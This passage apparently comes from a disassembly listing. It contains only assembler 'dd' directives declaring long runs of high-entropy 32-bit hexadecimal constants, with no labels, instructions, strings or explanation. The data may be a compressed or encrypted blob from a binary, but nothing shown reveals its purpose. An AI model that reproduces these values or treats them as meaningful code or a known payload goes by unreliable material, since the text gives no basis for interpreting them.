		dd 0D8B1AAF0h, 5CD23EEh, 1CF1B501h, 0C1FF74AFh,	3E10FDAEh
		dd 764798h, 476DBD9Ah, 0FF811DACh, 92AFDB00h, 0CA744B6Fh
		dd 0BBE21F10h, 0ECE116D4h, 8CE2D22Dh, 0F9921988h, 26886DF2h
		dd 0E6806083h, 0E595D86Eh, 1A47B51Ah, 92D8860Eh, 12E863EDh
		dd 0B3603202h, 5EF98BA1h, 75D32F4Ah, 40C6F071h,	972CC5CFh
		dd 61546792h, 2CF9040h
		dd 98BD00E7h, 81492312h, 0E212EEEFh, 75F43CDAh,	17E4870Ch
		dd 8614162h, 353F3072h,	59DC304Bh, 0DCC44CB7h, 41BB0FDFh
		dd 397AF838h, 9379BA13h, 81382AAEh, 0D89CAA3Dh,	0A7DDF12Eh
		dd 1675D07Bh, 0AB909E0Ah, 2FBB7130h, 251D03DBh,	0FFCDBF50h
		dd 89248662h, 7AC42913h, 0CEE560BFh, 346500DDh,	82F96845h
		dd 0F06BE22Fh, 0BFF1F1ACh, 8531FF04h, 0EA20BA73h, 0BED582h
		dd 0CC4560BCh, 4890A78Eh, 87386E03h, 0C9FF3D96h, 0C23BFDCBh
		dd 0C4565B09h, 9A320F38h, 59DA4973h, 0B5098229h, 6E572F71h
		dd 0ECB3172Ah, 824BF831h, 4F01EDE9h, 0BA8261EAh, 72C42E74h
		dd 0E94AEFACh, 0E33EED5Eh, 0E4122F98h, 0BAFB3E67h, 31B1F509h
		dd 56871879h, 0F6B155BBh, 0F67F5B5Dh, 8EDCB409h, 773B54Ah
		dd 7BDDC701h, 0B57C7C9Fh, 7286480h, 0E600C558h,	6F71B2ACh
		dd 0B5F366F0h, 1B599B5Bh, 0B32484C3h, 478A1215h, 2392DA16h
		dd 0C337FF89h, 0BF9501BDh, 1143E1D1h, 0E67F4461h, 5FB6B545h
		dd 5789B000h, 0D9BD09C2h, 6FC9154Bh, 20AD3741h,	0B837256Fh
		dd 0F288771Fh, 1D510B1Ch, 3F826154h, 0C65F4C62h, 7FB095FCh
		dd 7A9D99B5h, 9D77ECCDh, 0F2D8295Bh, 66F1008Bh,	689EB6BBh
		dd 713C7087h, 19EF050Eh, 47BA7F51h, 0C36E73BBh,	0F3C8D88Bh
		dd 0FA5F9EFDh, 0ED4B0CE8h, 4F6CF85Dh, 181A072h,	50B39080h
		dd 0B75793C6h, 0FAE3964Ch, 40122E66h, 8AFF793Dh, 0FBFF24C8h
		dd 246099CAh, 12B70A9Bh, 0F361CEE6h, 88DAD71Dh,	3E16B89Fh
		dd 1BBD30D2h, 0FA0ECCD1h, 80464DF6h, 94660BC8h,	6C3C00ABh
		dd 9DA37859h, 11E6298Fh, 598E264Bh, 0EAEF4327h,	21DBB64h
		dd 38E94C46h, 8BDD3DDDh, 9D550A09h, 43647A80h, 0D38F5600h
		dd 0ADEF0D78h, 0DC01384Ah, 682BCE00h, 0F8BE79AFh, 780C5395h
		dd 921D9EE7h, 0C6C91528h, 494A7960h, 0DB260B75h, 0B7BD78FEh
		dd 1517313h, 0F0A4A08h,	14930B5Fh, 52F217B9h, 0D0745B5Dh
		dd 0E4019FC7h, 77DFFD3h, 0F47C8057h, 7BF91D4Dh,	30116B0Eh
		dd 0EC9ABB02h, 35DD0959h, 801D9199h, 58F394CEh,	0FBFF0461h
		dd 0BC458A38h, 5E1B257Ch, 770957B1h, 849F798Fh,	0E83ED380h
		dd 9D094F44h, 0DA915E50h, 147E9A42h, 0F7A01DCh,	0EB6E8D06h
		dd 61B27F87h, 0A80133A8h, 0DEBF765Eh, 0F37AFC1Eh, 844F0143h
		dd 5BDD7464h, 0E3EB123Fh, 0E4B04FC8h, 25A9A731h, 3D407E4Dh
		dd 2DAC87DEh, 51197A5Dh, 0A91D829h, 608EB897h, 7D4DFA31h
		dd 0A3E6BF22h, 14B1AE07h, 56107C82h, 441726Dh, 81500EDDh
		dd 27E2FBB4h, 0F3615B12h, 0EB810188h, 17ED5C73h, 10A4F77Fh
		dd 0DBD702FDh, 0B07A8043h, 0E49C0F70h, 0AF5C1608h, 0F88DA04Dh
		dd 555B8B97h, 7FC991EDh, 162E1D04h, 0F85A7DF3h,	8BAAD133h
		dd 19A8040Bh, 3B669DAEh, 0C02D6A23h, 1E8451C5h,	11E7F6h
		dd 0A5FB6A5Ah, 331C392Bh, 5C2D159Dh, 1A59DE1Ah,	82DE8490h
		dd 6BF8E5AAh, 14C86FDEh, 0C3F72CC5h, 80E49A4Eh,	0C145FF2Bh
		dd 0A5E79153h, 83474EDCh, 505BB920h, 0BC5F4E51h, 117584C2h
		dd 0EFA13E29h, 294F332Eh, 0E77581EAh, 1C0BA78Ah, 80B83755h
		dd 0CFBB5B6Ah, 0BF0B6607h, 0A596FDE7h, 12BE8A98h, 2665C8B2h
		dd 58104009h, 0F4A75754h, 0F8D8795Ah, 7F7BD31Fh, 0EB6F96D2h
		dd 0C435A71Ch, 0BDE389D4h, 0E6E2C5D7h, 0D782DAFFh, 0F947D8h
		dd 0C5F8A91Fh, 0E431D1C6h, 0B1AD3D50h, 97C22B52h, 0BFC611BAh
		dd 0BB3D844Bh, 56A0E6B7h, 0F0121068h, 58F2BBD1h, 0A9BF6D8Bh
		dd 8025EA01h, 342F27CBh, 5B7DB254h, 7DA869B8h, 315E74F8h
		dd 5F895EA8h, 871D3D5Dh, 0E080197Fh, 0F833C1DBh, 76A3204Bh
		dd 25A76BD3h, 12D27E4Fh, 0A7CA9201h, 0A760A5Dh,	4E8500DEh
		dd 865F4867h, 0B9020683h, 55B529EFh, 0BB66002Fh, 8B2F6BEBh
		dd 0C15BCDC1h, 24489668h, 0FC9D06F6h, 5AA537Dh,	0A8BF9003h
		dd 774FBCF5h, 0EEE8D350h, 0DEFF8584h, 5E6880CFh, 50AA2B6h
		dd 870D8088h, 7184EE23h, 4FFB2C16h, 4ECCF3CAh, 0CD27209Eh
		dd 0E1C8ED16h, 38F94FEBh, 0BE9A804Ah, 58E3349Bh, 0DC3BF16h
		dd 99E0E9D9h, 7500B326h, 8D595BC0h, 0B012A8F7h,	2D91201Ch
		dd 0B50B20F9h, 0D107D525h, 0C242Ah, 0BB90327Ah,	982DCEB6h
		dd 0AFFE563Ah, 34AC0F0h, 0E509AEB6h, 697C6BC0h,	6FBA6AE5h
		dd 56FE006Ah, 0AA8A27AFh, 0FA44D723h, 0D8BF7B44h, 0F9D3DDBDh
		dd 1282A83Dh, 0F36C935Bh, 0E0F925C9h, 97FEBF94h, 5F4B8594h
		dd 3CB124E7h, 0CCAC6BCCh, 0A3DBDC3h, 2B02C304h,	0E394199Dh
		dd 0D0FBB509h, 6BC58060h, 955E953Dh, 51DAED4h, 0E914D560h
		dd 17CEEAF1h, 0F9CD2A10h, 27C1C55Ch, 6602E684h,	0A2ED5949h
		dd 0A3FD17EEh, 0BA2B95C4h, 0EC041175h, 600723C1h, 0DDE98FF8h
		dd 9061E622h, 9EDE9A82h, 0B3E2E278h, 695BDC2Fh,	8404D88Ah
		dd 9337B801h, 0EA00F27Eh, 0DECF1CD0h, 8CD06053h, 5F611860h
		dd 9713338Ch, 6D5D5B9Ah, 0CA5EE0F7h, 603A8722h,	0AA1A92A6h
		dd 8930C916h, 4540510h,	9BE8BE69h, 0CA64BC8Eh, 71189B53h
		dd 0B5605B9Bh, 9D31D400h, 0B1C60B49h, 2C28FF6Ah, 44DB2009h
		dd 0AE67D44Dh, 887EC0C0h, 4EB19727h, 4BC0143Dh,	4ACDDF0Fh
		dd 0B062204Bh, 0ED01E810h, 0AA11DA75h, 276B8E58h, 0ED04F9C9h
		dd 0CBFCEC8Ah, 8C80FFFAh, 19526CEFh, 71E46205h,	59F5BD03h
		dd 96C91D31h, 0FC3C482Fh, 0D50BEBA4h, 40A07412h, 22059509h
		dd 2C75E595h, 3285094Fh, 0BF013A79h, 3DC7631Bh,	1239162Fh
		dd 7C8CE320h, 6FF22B4Ah, 25599508h, 50F78140h, 60AE0A49h
		dd 2067B4E9h, 0CFA3258Ah, 0FE00A6E4h, 80FACEA1h, 766B5D8Fh
		dd 0BF2FCBEh, 5E625AF5h, 2D013586h, 0D8CA82D6h,	0F2FA9000h
		dd 0A6E544A7h, 5C0FF0E4h, 521181F7h, 0A34154F1h, 0E9321395h
		dd 0D66F8D45h, 0CB1296AAh, 5CF4F9ABh, 40D78A19h, 810325B0h
		dd 42A93E31h, 49E9610Dh, 1DCD0027h, 574B0718h, 7E6057CCh
		dd 0E1C60456h, 0C0667F6Ch, 4F5958Ah, 91847B95h,	0F145F24h
		dd 6575122Dh, 530F62F6h, 0BA959D0Bh, 698C4D68h,	60730689h
		dd 304ED208h, 0AEA5F750h, 14D26A6Fh, 20DA0433h,	0E6FF61C6h
		dd 77B6A553h, 0D5228000h, 0A2D1195Eh, 0F864CB60h, 0BDB5BD2Bh
		dd 0EAB91587h, 4ABCAAD8h, 6162F22Eh, 61F8C795h,	0E9B86DDEh
		dd 2B71877Dh, 0F00C1839h, 0E2CF0070h, 0DC5B9550h, 8F02E8A2h
		dd 2BD71B35h, 21E887D2h, 0DA625E59h, 0AFEDDC98h, 24D6B400h
		dd 0B28B8556h, 0EF380586h, 0E0EEF56Eh, 0BD9D1096h, 0A9AA0092h
		dd 73EDA6DDh, 0CC798D04h, 7AAFBD09h, 1D2368h, 595475DFh
		dd 0FE0ADB10h, 0C50EC2C1h, 125E908h, 8F8D0BBBh,	0D3323C47h
		dd 8D4F73E3h, 0A36B2BACh, 9600D847h, 3150DDC2h,	5EB20985h
		dd 72FE51B5h, 0F1617640h, 62DC30BCh, 3129F670h,	5EA31CDDh
		dd 0B029A77Ch, 0A31FDE7h, 0EC486ED8h, 33E10999h, 8A4D30DDh
		dd 833897F8h, 0FF802451h, 0DC85B6E1h, 80D28D3Ch, 0CED4931h
		dd 0BC5118FDh, 3CEC40EDh, 9E7D38DFh, 1D66E200h,	0B8E4F603h
		dd 96AF019Fh, 2E61D955h, 0A3282E5Bh, 8AD3B7C1h,	27C87FD8h
		dd 0EC119A16h, 32D7E2A6h, 50CF564Bh, 539D04A2h,	72D7D2CCh
		dd 0E494954Ah, 5C5B3F69h, 799DDC2Ch, 77782F06h,	66802BE2h
		dd 5B4AF6BAh, 488FF961h, 0B8BEC043h, 4B92D3A9h,	0DAB0ED0Bh
		dd 89375530h, 1A43200h,	8123B1B5h, 2B122FF8h, 0FA80DC9Bh
		dd 0F42B6AEAh, 0F22F257Dh, 0F6FF5629h, 64578B12h, 0F008F3C1h
		dd 4B3B482Fh, 0FF990BA5h
		dd 0D3774692h, 0C0FDD23Ah, 179DA275h, 4BC14C38h, 98F5F99Ah
		dd 3E22163h, 2FDC1662h,	92C0FC1Ch, 0C090EC1h, 79355654h
		dd 0E4E0A747h, 0D60432BFh, 56501942h, 610130E2h, 6AEFB476h
		dd 0C74530BEh, 5B5FB70Bh, 0C19AED90h, 6CFC95B3h, 0F2ECD283h
		dd 24891929h, 77712518h, 0D9EB5344h, 0C461DD53h, 0BB58505Bh
		dd 79D12535h, 5F520E74h, 0F6FB5AD9h, 0FE8A0A83h, 6EA058E2h
		dd 933AF115h, 0FC075D09h, 5C155D5Bh, 0FF59CD41h, 132CC83Bh
		dd 3A247A00h, 5083B848h, 0B4F412ACh, 799FAAC5h,	0DE5B9FC0h
		dd 0FF0162D5h, 0E9722432h, 152901D0h, 87CBC180h, 2D002F73h
		dd 0FF3F4B58h, 0EDE69A09h, 0B0EB8A6Eh, 0F9A99D03h, 63DE9D6Eh
		dd 6F130023h, 0DBD7A22h, 5B470062h, 2E683A6h, 8997F658h
		dd 7BDD57Ch, 80F33C80h,	4E49D38Eh, 0EDE130Fh, 0BD322579h
		dd 89FCC49Dh, 436E32EAh, 0E9E20A40h, 8BF17E04h,	73AF5BDFh
		dd 34A42D80h, 30C2109Bh, 1DD8F70h, 507A4A9Ah, 89E05FEDh
		dd 475259Dh, 811E12EEh,	0AA0BD2EFh, 7DC5125h, 0A4B3AD0Eh
		dd 4B8F8B32h, 88135688h, 0B67BCE25h, 0DA8EE900h, 6167CBCh
		dd 7E6E0196h, 61BA9128h, 5F132F49h, 0A0523FFDh,	6F09B710h
		dd 78BFA356h, 8A5E137Eh, 0F132BAD9h, 408FFC60h,	0CFC0696Eh
		dd 2C02B20Eh, 68FBA17Fh, 0D8C7E65Fh, 5F615EF8h,	81F39B58h
		dd 6FA537E6h, 119C41F6h, 0B710F42Bh, 6DCCFF4Bh,	23909751h
		dd 5279CEC9h, 5F5AFB02h, 5D8C0F90h, 57EB3A98h, 0FB49F8DDh
		dd 6E02FD6Bh, 4D772E41h, 601CE4FCh, 5079B9h, 0DA49202h
		dd 0CB818B63h, 69EBE806h, 25C86177h, 8E791249h,	1DB8F5E4h
		dd 3D755AA2h, 0BC70A7F0h, 128B0F1Ah, 470C7419h,	481CD041h
		dd 25007AFAh, 0B26FA382h, 70E995E2h, 0D887BB3Ah, 0DB252197h
		dd 0E51D55B9h, 5EC5B570h, 0A0E4E72Fh, 4E6FCEBh,	4E2E8EB5h
		dd 33B82BAh, 9314112h, 2A3239FDh, 5ADBD09h, 0C271985Eh
		dd 8B373BAFh, 38A10438h, 0BAB8F240h, 0F329F512h, 5B8E8C49h
		dd 0A2995BB3h, 19FA88Bh, 0D583ABD9h, 7CC99D0Bh,	269A4B99h
		dd 50C01AC8h, 17BFA025h, 8D0D6C8h, 2AD0520h, 60CCE03Ah
		dd 971345D8h, 0D175853Ah, 0B913BD29h, 0C02DBA12h, 0A8EBAD3Ah
		dd 9DBD1701h, 0AB72EE2Ch, 314DE096h, 7F9E3BE5h,	0BDCCFDCBh
		dd 2161D489h, 26C99D68h, 46A83A95h, 0D0BC00FBh,	0EFD13CDEh
		dd 0F500D981h, 0D6B92FFFh, 9FC8957h, 5F293B1Ch,	82A72079h
		dd 57978D52h, 5D08A1FBh, 9026531Bh, 7FA58EF1h, 172BA035h
		dd 85AB5FA5h, 0E0269A19h, 5579DBFDh, 0FCF04502h, 7FF4DCB5h
		dd 0D7665789h, 50E78000h, 0F604D381h, 0C1744B99h, 2EFE8B0Ch
		dd 6EAAE512h, 0B32E00C5h, 0AC66D37Dh, 8B431232h, 4D0E3DAh
		dd 2519D29h, 81B0BCB8h,	5A099ACFh, 44575882h, 0CEF6CAh
		dd 0E4B3E738h, 15088E67h, 0B020B200h, 2F9E1AA6h, 7351BD5Bh
		dd 0C16B0554h, 813289A5h, 2BA4C06Dh, 0E78275BDh, 4F40D1AFh
		dd 38E92DB3h, 0F1138054h, 0A860A28h, 2A543040h,	0EBFC4448h
		dd 16C8AADAh, 0D0C045CFh, 12ED9F06h, 0FCBF3893h, 22BC8A4Bh
		dd 4D60B72Ch, 558A01F5h, 0B8FCED89h, 3DDD04DEh,	0E9C92CB4h
		dd 8C1BACD9h, 4E4D1BDh,	0C3B1C535h, 0C576FDB3h,	2F4E21B8h
		dd 0FD2C6BDh, 0BA96D9F9h, 1B260D6Fh, 0FBC0C3F2h, 75E56DC8h
		dd 0B5F6225h, 739B557Fh, 0C6FF1225h, 0BB6609B2h, 95719B97h
		dd 0D0A8DF49h, 5A00DE87h, 86DEDAA0h, 92CCFFDCh,	357C2536h
		dd 60009DC6h, 0C990EABAh, 72C68A5Dh, 0DA72B361h, 2D8AE6F7h
		dd 5C5EFA8Bh, 77B19FF6h, 8531F87Ah, 9215120h, 0FFF36FE9h
		dd 0C05B4D5Fh, 1E5E4074h, 0D0997B9Dh, 290E7ED1h, 0CBFCAC18h
		dd 1671542Fh, 0F199AE04h, 8AF91230h, 23608656h,	8A3375BDh
		dd 235045C1h, 23B300FEh, 4349AFF8h, 0F96314DBh,	0C707E190h
		dd 898BEFC4h, 0F436FEh,	0DE750940h, 2C54324Fh, 2BE0E958h
		dd 0BB01D180h, 512028A6h, 0DCADB485h, 0B5429116h, 4AFC2B0Eh
		dd 0A8D8F9D2h, 1257216h, 899831BDh, 7F2E2985h, 0BC4A0DF3h
		dd 7B0EC06Eh, 11C55ABh,	8A5A4D42h, 0D4FC336Fh, 9598D8Bh
		dd 0E0A44B89h, 0D14937BFh, 8FDF500Ch, 1A9763E2h, 8504414Eh
		dd 355909D6h, 0E09093A5h, 75087D2h, 43440580h, 0A704064h
		dd 0DA1262FEh, 6EEAD1FFh, 63FD121Dh, 2F20E0BCh,	698AF84Bh
		dd 0B72EE179h, 4D15A0D9h, 0CA7939E3h, 0B6024C85h, 89D90EBEh
		dd 4D8CEF12h, 0DF70BD8h, 0D580C724h, 69986038h,	26A5F13h
		dd 18784801h, 0F82EB790h, 1B3C03Eh, 354E26Bh, 609065DCh
		dd 6413CF80h, 6BAF61D3h, 3F1B2325h, 69F64E60h, 3313D378h
		dd 38AF41E9h, 4890B715h, 829DB7B5h, 870F2C93h, 0F66D325Dh
		dd 0D95EDCC6h, 0BC9EF981h, 564EF73Ah, 521EB012h, 903914B7h
		dd 1827C050h, 0BBE1F95Ch, 6E2E63DFh, 19235Eh, 0FB89BCDDh
		dd 4C907C52h, 73057525h, 0E090ADB6h, 4A1E4446h,	9FC08132h
		dd 62E5482Dh, 4F882DEFh, 31271055h, 6AF1498Dh, 0E6FF6A16h
		dd 4DD9E014h, 0A5F5385Fh, 95E9596h, 7E4851CDh, 54A65BDh
		dd 1A202E8h, 0EA49B025h, 0D222D7DEh, 0E4022E09h, 40DBFE71h
		dd 0ADCC3FDh, 1C16A203h, 98302755h, 9DD2E693h, 0B487A410h
		dd 0E7604E00h, 75612EEBh, 5F8127C6h, 29592DFDh,	4B7D3760h
		dd 60758801h, 4CBEB98h,	0A0B05761h, 2412AC3h, 4E454060h
		dd 0DADAB831h, 57C02BE0h, 0A01F546Ch, 0B453DBA4h, 2BDEC1EEh
		dd 21DF43C8h, 0D14C4576h, 94071A9h, 1E7648E9h, 8BDE0FDEh
		dd 63A504E8h, 0D5402F4Eh, 60621756h, 1155C12Bh,	0B70F5000h
		dd 6158CA12h, 6B8299FFh, 9BB46D8h, 3CE9EC0Eh, 9525EE64h
		dd 62A3710Ch, 213932D5h, 3599C114h, 0A38A2B0Eh,	0D2A19740h
		dd 3DE51097h, 10C78009h, 0EB043F73h, 6FEF165Ch,	3F920129h
		dd 54A913BCh, 12A7BB60h, 0BF2A916Ah, 0FDBD7856h, 4375BABCh
		dd 98C63A14h, 1669128Fh, 0BBC093B9h, 5211F23Ah,	0E8B4B973h
		dd 70B3F32Dh, 0AA2753E0h, 0E10A5ED2h, 6A8E3DEBh, 209D99F4h
		dd 60EE1549h, 76C4B5h, 18AB40C7h, 0DB1F5B8Eh, 64CE8000h
		dd 61F5B75Fh, 719D1229h, 3D2EB61Bh, 27119731h, 55665ABh
		dd 0AE1FDD31h, 6A2BD67Dh, 9B0170FCh, 0EE3E6466h, 38366CC4h
		dd 0E45D3FF1h, 0EC18DDBFh, 0A1B0277Ah, 5B528023h, 607E1097h
		dd 0A8E450B7h, 24B48802h, 0A30FEC9Dh, 7731CA60h, 59A1B24Eh
		dd 60282E19h, 4981BE53h, 0A4EA1A75h, 5B0E2D9Fh,	0B04EE232h
		dd 3FAF21BBh, 0A35B4536h, 0F1BD17CCh, 2F4A3DABh, 9D232343h
		dd 0E973E56Dh, 0C784DC03h, 0EB9E75AAh, 413EBC01h, 5976E1FFh
		dd 77BC03F0h, 0F7891003h, 806D4C84h, 1260DF81h,	0E24DBA50h
		dd 56308906h, 0FA3DD1A9h, 2D903DF7h, 5BBA90D5h,	864224D7h
		dd 0AFDD168Eh, 0C4CF9F3Ch, 9B60F963h, 12B9C05Fh, 122CF95Ah
		dd 14EBA9Ch, 743E5ECDh,	0A7122B7Dh, 58F8BD09h, 78399386h
		dd 88095D1Ah, 0F003CB2Dh, 810240E6h, 3EEEF704h,	90AD472Eh
		dd 0F1BD0822h, 0DB82B27Eh, 6082C3F9h, 556140B4h, 8035A1BAh
		dd 0E302B382h, 17587784h, 31CA109Dh, 0A15500EEh, 4E69447Bh
		dd 0E70267C3h, 563DF788h, 0DA86412Ch, 0BBC9413Fh, 2E6A74E0h
		dd 3502AB6Fh, 5D2D5232h, 0DE1E8B80h, 68240B4Bh,	0E41E0158h
		dd 7AA768F1h, 29661BD5h, 99BE28F0h, 769E2313h, 0BADDD8FDh
		dd 0B5D9BCDAh, 0A4A078B6h, 0D4EDC478h, 265FB9DFh, 0F68E13B8h
		dd 0AAE45800h, 9F00FDBDh
		dd 0C1A89C9Ah, 4C3DE95Bh, 0BE96D402h, 98F3B693h, 953B8390h
		dd 63D34D8Bh, 9FDAD8h, 0DD82E791h, 10ACBF66h, 7DFE495h
		dd 1F8FD21Eh, 333F10EFh, 0FC95F16Eh, 479CD4DCh,	187160CEh
		dd 951FB864h, 81696C9Ah, 4656C605h, 0E3B05167h,	137A2580h
		dd 0BF895B16h, 278B3330h, 0B8501D6h, 0A449C6EDh, 0AAE0C472h
		dd 2D6664BDh, 94DD8B11h, 71CF02B2h, 7C7D52E2h, 0B8277157h
		dd 422B5C8h, 0C8368C80h, 0F1DB693h, 431271A7h, 0FB7A1923h
		dd 0A184D85Eh, 959947AAh, 9618F8E5h, 1E473152h,	28DA8A50h
		dd 235525F0h, 0B5698259h, 8B25879Bh, 0CDE6D012h, 94B80167h
		dd 0E30B270Bh, 598F5E73h, 0A07E0D8Ch, 3004BE6Dh, 615F52EBh
		dd 1A7D20EBh, 22001F6Ch, 0B7F1080Ah, 26F4817h, 219241C1h
		dd 0C65D18C8h, 3A04005Ah, 0AA9F0D28h, 0AE3D1BE6h, 5E5AAD80h
		dd 0B97D498Fh, 82FD81Bh, 174CF846h, 7CF39758h, 1D6A8370h
		dd 9266C00Ah, 0E3A2BFh,	0DE068E5Dh, 1DCBE61Ah, 0C9DFF242h
		dd 92597B31h, 3660FEA6h, 2E0EBB6Ch, 8AFAA26h, 5B092EF1h
		dd 20FD5A90h, 604A48A8h, 894AF2B3h, 7A75F6B3h, 1C616B23h
		dd 5FC387F7h, 6FFE9014h, 134D01CBh, 0F8F9AAC8h,	0DAC6742Bh
		dd 511BC0FBh, 16D1782h,	98A30569h, 2A896108h, 3D2AE5E1h
		dd 256538C1h, 199A472Ch, 2BF82709h, 800B5AFDh, 115CC6C3h
		dd 671CC4D7h, 0BC8051F0h, 3FAD0E42h, 0EBE526E1h, 126B8DFh
		dd 24F081F2h, 8824C8B5h, 145525BDh, 23166F67h, 7AEDA3F9h
		dd 8C002BA3h, 9D03CEA7h, 0D8A72DA1h, 2602EC88h,	27010B79h
		dd 0ADE7377Fh, 3E0922ECh, 5957533Bh, 0E562B46Fh, 0E4E92F18h
		dd 202568FCh, 9DD6F0D6h, 0DF490371h, 8B575521h,	7D567FFBh
		dd 0E910B4A8h, 0B5167329h, 29AB2125h, 2A92B0Eh,	0BA10DD84h
		dd 19F0EFE6h, 0CC03493Eh, 0B764E5D2h, 8063BD10h, 0FF59BF56h
		dd 0AB5BCD24h, 258DA498h, 2A6E0ACDh, 9420565Bh,	1E11AD14h
		dd 9F58619Bh, 0B37E6DF4h, 89B35F64h, 0ABBDF464h, 0D3801530h
		dd 0A829523h, 0BAD5F98Bh, 60F76D42h, 75BBC9F4h,	89F2D802h
		dd 562B2DB5h, 0C4BFE008h, 384ABB4Eh, 0DC6FFEh, 0BE788E17h
		dd 12F102E9h, 0A698B409h, 5F30B41Dh, 123CAF25h,	0A067C2B0h
		dd 8B97EAC2h, 0BBAC4E50h, 4FB150B3h, 5C9FEF00h,	0F46CF14h
		dd 3DC5B78Bh, 0D6A24A00h, 13E3AACAh, 0B021366Ch, 0E44EB890h
		dd 59A3CC81h, 935B57E8h, 1483895Bh, 788033F3h, 4B4CBA2Ah
		dd 5B3400D3h, 0D46661Dh, 0B94A9D7Dh, 22DE5DD4h,	6AA911C0h
		dd 460587E8h, 2CDC8D5Ch, 8A4A14F8h, 0B01C225Dh,	0F20C4EBEh
		dd 778B89F6h, 6754174Ah, 6B8D298Fh, 8D155D1Bh, 550CEBC2h
		dd 17644FCDh, 0EFA5B760h, 4A481552h, 0CB89258Ch, 14562AFAh
		dd 0F3151D71h, 0D21C58FFh, 90EA20ABh, 0CB098052h, 48C65BEEh
		dd 97E1F94Ch, 0DD72CEF4h, 3D13098h, 0D7FD5BC9h,	5F371E09h
		dd 6AE72980h, 0B7375BE6h, 0C18BEEA2h, 708CF3D7h, 0C14A63Ah
		dd 5B0D8C0Fh, 0E30F64E2h, 98C0AC19h, 2BDD4CD4h,	4B3479BDh
		dd 0E790DDE6h, 9090A09Fh, 2450DA8Bh, 49AA880Fh,	0C603E7C6h
		dd 0F95F61B8h, 3085F60h, 8FB4E7E3h, 0F5E9CC56h,	127CA2BFh
		dd 9BEFAB9Bh, 1D2C05Dh,	95E3EC94h, 0EEB0BBD1h, 9516EB72h
		dd 5978687Bh, 4017C02h,	6CA3F97Bh, 113EB0F6h, 0FC68F697h
		dd 0CCD8EF1Fh, 3ACAD380h, 0B5068A9h, 48976B3h, 1DE305Eh
		dd 94AB6C46h, 2E500A5Eh, 73E9BFC5h, 0E823AD4Ah,	0A6C5971Eh
		dd 95F5309h, 0E86E5D9Ah, 0BA978202h, 0F5BB4937h, 7140DF6Fh
		dd 9E905BBh, 0DA8A1369h, 91F6B555h, 1BE2801Ah, 2565FB2Ah
		dd 9A669502h, 279C894Ch, 3D927D25h, 442A6D75h, 5D0D81C4h
		dd 6BFC6E0Eh, 0DA395AC0h, 0CD25FA8Dh, 1A9665B3h, 0CDF726B2h
		dd 377CE0F8h, 1B12886Bh, 0E2056638h, 9DB026Ah, 0E1C7CAC2h
		dd 0B71F7BAh, 0FCC9CF03h, 37ABD8DCh, 53E250h, 36C4689Ah
		dd 7A2AB869h, 89220A90h, 0CD40A006h, 3890812Fh,	0DB8F28h
		dd 0C2433AC1h, 49B90008h, 3811F865h, 6D9F9050h,	0FA69C47Bh
		dd 0BBFC61A4h, 0F3291436h, 4AE9D854h, 8952B3C3h, 7D13897Ch
		dd 0AEC172CDh, 847BEEFFh, 853B046Bh, 19485255h,	9B502D24h
		dd 1D3C2145h, 59850C80h, 8402B307h, 0F38A16F8h,	0EADB5F61h
		dd 0CB269108h, 9780D237h, 0A4B251ABh, 3360172Dh, 0F9AA918Dh
		dd 51FC2B61h, 0D96900AAh, 9509778Dh, 0B9144E11h, 8C17E8FFh
		dd 217CDD09h, 60785C12h, 251B529h, 0ABB065B5h, 0EE285882h
		dd 0C9D18E00h, 38530E1Eh, 768E9DB2h, 2D088266h,	0C5316CF9h
		dd 11C06A5Fh, 0BD30DDB5h, 24C424Ch, 0EF3900AFh,	0CA99BD9h
		dd 0A4AD1279h, 22FAB6D6h, 77EEE731h, 0DE3851C4h, 0FE5E74B0h
		dd 4B9920E0h, 9D06808Dh, 22842031h, 0EA0107E9h,	0A6490872h
		dd 4C2BE751h, 95F02EEh,	7438B569h, 6143C036h, 8801D670h
		dd 8E11369Ch, 7EE88912h, 35860139h, 30D574DCh, 0E5B32E03h
		dd 0FC0EC24Ah, 0A10E105Dh, 0DA2E00C2h, 0EF30C15Ch, 0A20581B6h
		dd 3B28D89Bh, 535D404h,	24715B09h, 25EA0117h, 0AB8D84BEh
		dd 2D8DD398h, 55C0C79h,	1A2139C2h, 0BD3881ECh, 532B4091h
		dd 277E26C8h, 6D5113ADh, 85C1D145h, 0E901333Dh,	84646C6Bh
		dd 44079C30h, 0FC5F114Ch, 371D2EF9h, 0F80AF85Ah, 1FD2538h
		dd 0B64175Ch, 19850941h, 293E1222h, 2A42259h, 79E74E60h
		dd 0A31D02C6h, 0AA8D8AF0h, 0B1BEFB57h, 2E2CADE4h, 9CB32B28h
		dd 25620D1h, 2A9BC781h,	2A5C5CC1h, 86CFCC2h, 20F7A53Eh
		dd 22DD0D34h, 6A553850h, 256E5Bh, 0B185F4CBh, 953BFFA1h
		dd 0DC508B65h, 0F828F298h, 5C6F2ADh, 7EB94EB7h,	4EF7E20Dh
		dd 0FC3F4EFBh, 933AE7E0h, 6EEF1CBFh, 33000C6Eh,	548EFBE5h
		dd 60258858h, 729C4F8h,	7836F526h, 1A2AE296h, 599F987Fh
		dd 0C02B2461h, 8DE903D8h, 0DBB01E11h, 691C0337h, 0F625BA6Ch
		dd 0AE04F61Eh, 93B7576Fh, 6BB441B9h, 0B97000DAh, 222CF7A1h
		dd 404DBCC9h, 0A55DF92Dh, 1400B9E4h, 3A2E624Ah,	12BAF4BBh
		dd 45B5C99h, 0B86AC494h, 14518D2Fh, 975F0030h, 2545879h
		dd 3CDD0F97h, 9555F98Bh, 0B7204E98h, 0B5BD03A9h, 4AB8075Ah
		dd 0F09BFBCh, 981EA513h, 7F35E9Ch, 2E070E8Ah, 0C9C0F085h
		dd 0C1006D3Fh, 3C34A57h, 9AF3843Ch, 960F12DEh, 2B84B15Fh
		dd 97B85E28h, 0E460156Fh, 6B5D31E8h, 8FFE486Dh,	4BEE7153h
		dd 6129FE2Bh, 0A135A62Eh, 30F0D4D0h, 25DEA028h,	8B0F24EFh
		dd 89849D9h, 5500B5E7h,	3EF3B246h, 0BB20E3h, 6FCC5412h
		dd 25BD3365h, 0E13A2641h, 3C9B6B9Dh, 25D78480h,	5527919Dh
		dd 0FF5A12FAh, 0F2CFC66h, 0F5C91286h, 2E5FF861h, 0DDC2CD28h
		dd 0AC819681h, 601B289h, 519827CAh, 0C7253125h,	4F8111ADh
		dd 0B81EEDBh, 2E234F35h, 2F600283h, 465EDF08h, 0F799D84h
		dd 57F5D836h, 88DF92A8h, 991875Ch, 0D5F82269h, 0D6BCDC9Dh
		dd 64BC1D56h, 0B3EB2F2Eh, 7696693Bh, 901A4A0h, 0AF71AD19h
		dd 1EBB0BBDh, 2391555Ch, 0FFA83B04h, 7A6E1A80h,	9D0AA771h
